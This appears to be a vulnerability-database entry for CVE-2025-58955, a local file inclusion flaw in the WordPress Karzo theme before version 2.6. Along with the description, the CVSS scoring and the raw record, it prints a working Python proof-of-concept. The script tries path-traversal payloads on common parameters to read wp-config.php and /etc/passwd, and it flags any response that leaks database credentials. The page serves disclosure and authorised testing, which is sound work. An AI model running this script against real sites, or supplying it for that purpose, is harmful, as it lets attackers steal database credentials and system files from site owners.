Security Vulnerability Report
中文
CVE-2025-58955 CVSS 8.1 HIGH

CVE-2025-58955

Published: 2025-10-22 15:15:52
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Karzo karzo allows PHP Local File Inclusion.This issue affects Karzo: from n/a through < 2.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Karzo Theme < 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58955 PoC - Karzo Theme Local File Inclusion # Affected: WordPress Karzo Theme < 2.6 # CVSS: 8.1 (High) import requests import sys def test_lfi(target_url): """ Test for Local File Inclusion vulnerability in Karzo theme """ # Common LFI parameters in WordPress themes lfi_params = ['page', 'file', 'template', 'include', 'load', 'view'] # Payloads for reading sensitive files payloads = [ '../../../wp-config.php', '../../../../wp-config.php', '../../../../../wp-config.php', '../../../../../../wp-config.php', '/etc/passwd', '../../etc/passwd' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-58955 - Karzo Theme LFI\n") for param in lfi_params: for payload in payloads: try: # Construct the malicious URL exploit_url = f"{target_url}/wp-content/themes/karzo/?{param}={payload}" # Send the request response = requests.get(exploit_url, timeout=10) # Check if the file content was included if 'DB_NAME' in response.text or 'DB_USER' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] URL: {exploit_url}") print(f"[+] Successfully read wp-config.php") return True elif 'root:' in response.text and ':/bin/' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] URL: {exploit_url}") print(f"[+] Successfully read /etc/passwd") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") continue print("[*] No vulnerability detected with basic payloads") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-58955.py <target_url>") print("Example: python cve-2025-58955.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58955", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:52.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Karzo karzo allows PHP Local File Inclusion.This issue affects Karzo: from n/a through < 2.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/karzo/vulnerability/wordpress-karzo-theme-2-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}